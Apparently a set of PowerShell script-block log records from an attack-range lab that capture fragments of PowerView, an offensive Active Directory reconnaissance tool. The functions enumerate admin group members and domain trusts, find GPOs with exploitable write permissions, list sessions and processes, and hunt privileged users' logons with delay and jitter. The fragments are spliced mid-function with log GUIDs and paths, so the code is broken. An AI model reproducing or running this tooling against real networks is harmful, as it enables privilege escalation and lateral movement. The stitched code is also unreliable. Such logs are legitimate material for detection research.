CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : harmj0y MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember .EXAMPLE 'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' .EXAMPLE Get-Domain | Select-Object -Expand name testlab.local 'dev\domain admins' | Get-DomainGroupMember -Verbose VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) GroupDomain : dev.testlab.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local MemberDomain : dev.testlab.local MemberName : user1 MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) GroupDomain : dev.testlab.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local MemberDomain : dev.testlab.local MemberName : Administrator MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 .OUTPUTS PowerView.GroupMember Custom PSObject with translated group member property fields. .LINK http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.GroupMember')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [Parameter(ParameterSetName = 'ManualRecurse')] [Switch] $Recurse, [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] [Switch] $RecurseUsingMatchingRule, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Properties' = 'member,samaccountname,distinguishedname' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ADNameArguments = @{} if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } } PROCESS { $GroupSearcher = Get-DomainSearcher @SearcherArguments if ($GroupSearcher) { if ($PSBoundParameters['RecurseUsingMatchingRule']) { $SearcherArguments['Identity'] = $Identity $SearcherArguments['Raw'] = $True $Group = Get-DomainGroup @SearcherArguments if (-not $Group) { Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity" } else { $GroupFoundName = $Group.properties.item('samaccountname')[0] $GroupFoundDN = $Group.properties.item('distinguishedname')[0] if ($PSBoundParameters['Domain']) { $GroupFoundDomain = $Domain ed0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1 4104132150x0187789Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local5152 Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" # mark it as seen in our list $Null = $SeenDomains.Add($Domain, '') try { # get all the trusts for this domain $DomainTrustArguments['Domain'] = $Domain $Trusts = Get-DomainTrust @DomainTrustArguments if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # get any forest trusts, if they exist if ($PsCmdlet.ParameterSetName -eq 'NET') { $ForestTrustArguments = @{} if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } $Trusts += Get-ForestTrust @ForestTrustArguments } if ($Trusts) { if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # enumerate each trust found ForEach ($Trust in $Trusts) { if ($Trust.SourceName -and $Trust.TargetName) { # make sure we process the target $Null = $Domains.Push($Trust.TargetName) $Trust } } } } catch { Write-Verbose "[Get-DomainTrustMapping] Error: $_" } } } } function Get-GPODelegation { <# .SYNOPSIS Finds users with write permissions on GPO objects which may allow privilege escalation within the domain. Author: Itamar Mizrahi (@MrAnde7son) License: BSD 3-Clause Required Dependencies: None .PARAMETER GPOName The GPO display name to query for, wildcards accepted. .PARAMETER PageSize Specifies the PageSize to set for the LDAP searcher object. .EXAMPLE Get-GPODelegation Returns all GPO delegations in current forest. .EXAMPLE Get-GPODelegation -GPOName Returns all GPO delegations on a given GPO. #> [CmdletBinding()] Param ( [String] $GPOName = '*', [ValidateRange(1,10000)] [Int] $PageSize = 200 ) $Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins') $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() $DomainList = @($Forest.Domains) $Domains = $DomainList | foreach { $_.GetDirectoryEntry() } foreach ($Domain in $Domains) { $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))" $Searcher = New-Object System.DirectoryServices.DirectorySearcher $Searcher.SearchRoot = $Domain $Searcher.Filter = $Filter $Searcher.PageSize = $PageSize $Searcher.SearchScope = "Subtree" $listGPO = $Searcher.FindAll() foreach ($gpo in $listGPO){ $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} if ($ACL -ne $null){ $GpoACL = New-Object psobject $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights $GpoACL } } } } ######################################################## # # Expose the Win32API functions and datastructures below # using PSReflect. # Warning: Once these are executed, they are baked in # and can't be changed while the script is running! # ######################################################## $Mod = New-InMemoryModule -ModuleName Win32 # [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] # used to parse the 'samAccountType' property for users/computers/groups $SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{ DOMAIN_OBJECT = '0x00000000' GROUP_OBJECT = '0x10000000' NON_SECURITY_GROUP_OBJECT = '0x10000001' ALIAS_OBJECT = '0x20000000' NON_SECURITY_ALIAS_OBJECT = '0x20000001' USER_OBJECT = '0x30000000' MACHINE_ACCOUNT = '0x30000001' TRUST_ACCOUNT = '0x30000002' APP_BASIC_GROUP = '0x40000000' APP_QUERY_GROUP = '0x40000001' ACCOUNT_TYPE_MAX = '0x7fffffff' } # used to parse the 'grouptype' property for groups $GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ CREATED_BY_SYSTEM = '0x00000001' GLOBAL_SCOPE = '0x00000002' DOMAIN_LOCAL_SCOPE = '0x00000004' UNIVERSAL_SCOPE = '0x00000008' APP_BASIC = '0x00000010' APP_QUERY = '0x00000020' SECURITY = '0x80000000' } -Bitfield # used to parse the 'userAccountControl' property for users/groups $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ SCRIPT = 1 ACCOUNTDISABLE = 2 HOMEDIR_REQUIRED = 8 LOCKOUT = 16 PASSWD_NOTREQD = 32 PASSWD_CANT_CHANGE = 64 ENCRYPTED_TEXT_PWD_ALLOWED = 128 TEMP_DUPLICATE_ACCOUNT = 256 NORMAL_ACCOUNT = 512 INTERDOMAIN_TRUST_ACCOUNT = 2048 WORKSTATION_TRUST_ACCOUNT = 4096 SERVER_TRUST_ACCOUNT = 8192 DONT_EXPIRE_PASSWORD = 65536 MNS_LOGON_ACCOUNT = 131072 SMARTCARD_REQUIRED = 262144 TRUSTED_FOR_DELEGATION = 524288 NOT_DELEGATED = 1048576 USE_DES_KEY_ONLY = 2097152 DONT_REQ_PREAUTH = 4194304 PASSWORD_EXPIRED = 8388608 TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 PARTIAL_SECRETS_ACCOUNT = 67108864 } -Bitfield # enum used by $WTS_SESSION_INFO_1 below $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ Active = 0 Connected = 1 ConnectQuery = 2 Shadow = 3 Disconnected = 4 Idle = 5 Listen = 6 Reset = 7 Down = 8 Init = 9 } # the WTSEnumerateSessionsEx result structure $WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ ExecEnvId = field 0 UInt32 State = field 1 $WTSConnectState SessionId = field 2 UInt32 pSessionName = field 3 String -MarshalAs @('LPWStr') pHostName = field 4 String -MarshalAs @('LPWStr') pUserName = field 5 String -MarshalAs @('LPWStr') pDomainName = field 6 String -MarshalAs @('LPWStr') pFarmName = field 7 String -MarshalAs @('LPWStr') } # the particular WTSQuerySessionInformation result structure $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ AddressFamily = field 0 UInt32 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) } # the NetShareEnum result structure $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ Name = field 0 String -MarshalAs @('LPWStr') Type = field 1 UInt32 Remark = field 2 String -MarshalAs @('LPWStr') } # the NetWkstaUserEnum result structure $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ UserName = field 0 String -MarshalAs @('LPWStr') LogonDomain = field 1 String -MarshalAs @('LPWStr') AuthDomains = field 2 String -MarshalAs @('LPWStr') LogonServer = field 3 String -MarshalAs @('LPWStr') } # the NetSessionEnum result structure $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ CName = field 0 String -MarshalAs @('LPWStr') UserName = field 1 String -MarshalAs @('LPWStr') Time = field 2 UInt32 IdleTime = field 3 UInt32 } # enum used by $LOCALGROUP_MEMBERS_INFO_2 below $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ SidTypeUser = 1 SidTypeGroup = 2 SidTypeDomain = 3 SidTypeAlias = 4 SidTypeWellKnownGroup = 5 SidTypeDeletedAccount = 6 SidTypeInvalid = 7 SidTypeUnknown = 8 SidTypeComputer = 9 } # the NetLocalGroupEnum result structure $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ lgrpi1_name = field 0 String -MarshalAs @('LPWStr') lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') } # the NetLocalGroupGetMembers result structure $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_sid = field 0 IntPtr lgrmi2_sidusage = field 1 $SID_NAME_USE lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') } # enums used in DS_DOMAIN_TRUSTS $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ IN_FOREST = 1 DIRECT_OUTBOUND = 2 TREE_ROOT = 4 PRIMARY = 8 NATIVE_MODE = 16 DIRECT_INBOUND = 32 } -Bitfield $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ DOWNLEVEL = 1 UPLEVEL = 2 MIT = 3 DCE = 4 } $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ NON_TRANSITIVE = 1 UPLEVEL_ONLY = 2 FILTER_SIDS = 4 FOREST_TRANSITIVE = 8 CROSS_ORGANIZATION = 16 WITHIN_FOREST = 32 TREAT_AS_EXTERNAL = 64 } # the DsEnumerateDomainTrusts result structure $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') DnsDomainName = field 1 String -MarshalAs @('LPWStr') Flags = field 2 $DsDomainFlag ParentIndex = field 3 UInt32 TrustType = field 4 $DsDomainTrustType TrustAttributes = field 5 $DsDomainTrustAttributes DomainSid = field 6 IntPtr DomainGuid = field 7 Guid } # used by WNetAddConnection2W $NETRESOURCEW = struct $Mod NETRESOURCEW @{ dwScope = field 0 UInt32 dwType = field 1 UInt32 dwDisplayType = field 2 UInt32 dwUsage = field 3 UInt32 lpLocalName = field 4 String -MarshalAs @('LPWStr') lpRemoteName = field 5 String -MarshalAs @('LPWStr') lpComment = field 6 String -MarshalAs @('LPWStr') lpProvider = field 7 String -MarshalAs @('LPWStr') } # all of the Win32 API functions we need $FunctionDefinitions = @( (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Wtsapi32 = $Types['wtsapi32'] $Mpr = $Types['Mpr'] $Kernel32 = $Types['kernel32'] Set-Alias Get-IPAddress Resolve-IPAddress Set-Alias Convert-NameToSid ConvertTo-SID Set-Alias Convert-SidToName ConvertFrom-SID Set-Alias Request-SPNTicket Get-DomainSPNTicket Set-Alias Get-DNSZone Get-DomainDNSZone Set-Alias Get-DNSRecord Get-DomainDNSRecord Set-Alias Get-NetDomain Get-Domain Set-Alias Get-NetDomainController Get-DomainController Set-Alias Get-NetForest Get-Forest Set-Alias Get-NetForestDomain Get-ForestDomain Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog Set-Alias Get-NetUser Get-DomainUser Set-Alias Get-UserEvent Get-DomainUserEvent Set-Alias Get-NetComputer Get-DomainComputer Set-Alias Get-ADObject Get-DomainObject Set-Alias Set-ADObject Set-DomainObject Set-Alias Get-ObjectAcl Get-DomainObjectAcl Set-Alias Add-ObjectAcl Add-DomainObjectAcl Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl Set-Alias Get-GUIDMap Get-DomainGUIDMap Set-Alias Get-NetOU Get-DomainOU Set-Alias Get-NetSite Get-DomainSite Set-Alias Get-NetSubnet Get-DomainSubnet Set-Alias Get-NetGroup Get-DomainGroup Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup Set-Alias Get-NetGroupMember Get-DomainGroupMember Set-Alias Get-NetFileServer Get-DomainFileServer Set-Alias Get-DFSshare Get-DomainDFSShare Set-Alias Get-NetGPO Get-DomainGPO Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupM88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1 4104132150x0187782Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local4452am($ComputerName, $ProcessName, $TargetUsers, $Credential) ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # try to enumerate all active processes on the remote host # and search for a specific process name if ($Credential) { $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue } else { $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue } ForEach ($Process in $Processes) { # if we're hunting for a process name or comma-separated names if ($ProcessName) { if ($ProcessName -Contains $Process.ProcessName) { $Process } } # if the session user is in the target list, display some output elseif ($TargetUsers -Contains $Process.User) { $Process } } } } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential $Result if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainProcess] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'ProcessName' = $TargetProcessName 'TargetUsers' = $TargetUsers 'Credential' = $Credential } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainUserEvent { <# .SYNOPSIS Finds logon events on the current (or remote domain) for the specified users. Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction .DESCRIPTION Enumerates all domain controllers from the specified -Domain (default of the local domain) using Get-DomainController, enumerates the logon events for each using Get-DomainUserEvent, and filters the results based on the targeting criteria. .PARAMETER ComputerName Specifies an explicit computer name to retrieve events from. .PARAMETER Domain Specifies a domain to query for domain controllers to enumerate. Defaults to the current domain. .PARAMETER Filter A hashtable of PowerView.LogonEvent properties to filter for. The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', and is 'or' by default, meaning at least one clause matches instead of all. See the exaples for usage. .PARAMETER StartTime The [DateTime] object representing the start of when to collect events. Default of [DateTime]::Now.AddDays(-1). .PARAMETER EndTime The [DateTime] object representing the end of when to collect events. Default of [DateTime]::Now. .PARAMETER MaxEvents The maximum number of events (per host) to retrieve. Default of 5000. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target computer(s). .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainUserEvent Search for any user events matching domain admins on every DC in the current domain. .EXAMPLE $cred = Get-Credential dev\administrator Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' domain controller using the alternate credential .EXAMPLE 'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} Find user events on the primary.testlab.local system where the event matches the IPAddress '192.168.52.200' or '192.168.52.201'. .EXAMPLE $cred = Get-Credential testlab\administrator Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} Find user events mathing the specified GUID AND the specified TargetLogonId, searching through every domain controller in the current domain, enumerating each DC in serial instead of in a threaded manner, using the alternate credential. .OUTPUTS PowerView.LogonEvent PowerView.ExplicitCredentialLogon .LINK http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [OutputType('PowerView.LogonEvent')] [OutputType('PowerView.ExplicitCredentialLogon')] [CmdletBinding(DefaultParameterSetName = 'Domain')] Param( [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('dnshostname', 'HostName', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName, [Parameter(ParameterSetName = 'Domain')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Hashtable] $Filter, [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [DateTime] $StartTime = [DateTime]::Now.AddDays(-1), [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [DateTime] $EndTime = [DateTime]::Now, [ValidateRange(1, 1000000)] [Int] $MaxEvents = 5000, [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $UserDomain, [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Alias('AdminCount')] [Switch] $UserAdminCount, [Switch] $CheckAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { # otherwise we're querying a specific group $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } Write-Verbose "UserGroupIdentity: $UserGroupIdentity" if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) 